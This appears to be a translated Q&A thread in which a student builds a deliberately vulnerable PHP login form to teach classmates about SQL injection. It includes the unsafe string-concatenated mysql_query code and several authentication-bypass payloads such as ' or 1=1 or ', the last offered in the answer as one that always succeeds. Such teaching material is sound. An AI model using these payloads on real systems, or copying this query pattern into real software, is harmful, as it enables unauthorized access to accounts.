0

我正在为我的同学创建一个测试项目,以展示带有未检查变量的 php 代码是如何危险的。我正在使用已弃用的mysql_*函数和一个带有 2 个表的简单数据库:

users  
data

在用户中,我只有管理员用户。

我创建了一个简单的 html 表单:

    <form action="login" method="POST">
    username: <input type="text" name="username">
    password: <input type="text" name="password">
<input type="submit" value="login">
    </form>

login.php 页面只需获取发布数据并构建查询,如下所示:

$uname = strtolower(trim($_POST['username']));
    $passw = strtolower(trim($_POST['password']));

$result = mysql_query("
    SELECT *
    FROM users
    WHERE username='".$uname."' and password=MD5('".$passw."')"
    );
if(mysql_num_rows($result) != 1){
        echo "Non valid";
    }else{
        echo "Logged in";
    }

这是我在用户名字段中的输入:

&#39; or 1=1 --&#32;

这应该产生一个查询,如:

SELECT * FROM users WHERE username='' or 1=1 -- ' and password=MD5('') 

如果我在 SequelPro 或 PhpMyAdmin 上运行此查询,则查询将给我表的第一行,以便它工作。但如果我提交表格,结果是Not valid.

我还尝试在此输入中使用密码字段:

&#39;) or 1=1 --&#32;

这是生成的查询:

SELECT * FROM users WHERE username='' and password=MD5('') or 1=1 -- ') 

但结果是一样的,它适用于 SequelPro 但不适用于表单。

我认为 mysql_query 函数不会识别--评论。我对吗?
我做错了什么?

4

1 回答 1

1

在用户名字段中试试这个:

' or 1=1 or '

并输入任何你想要的密码。不要忘记's 之后的空格。它把你的代码变成这样:

mysql_query("select * from users where username='' or 1=1 or '' and 
password=".md5('$pass'))

它总是返回 true。

它必须有效,如果没有,请执行以下操作:

echo "
    SELECT *
    FROM users
    WHERE username='".$uname."' and password=MD5('".$passw."')";

并将结果作为评论发布给我,也许我可以帮助你

于 2013-10-12T11:14:16.127 回答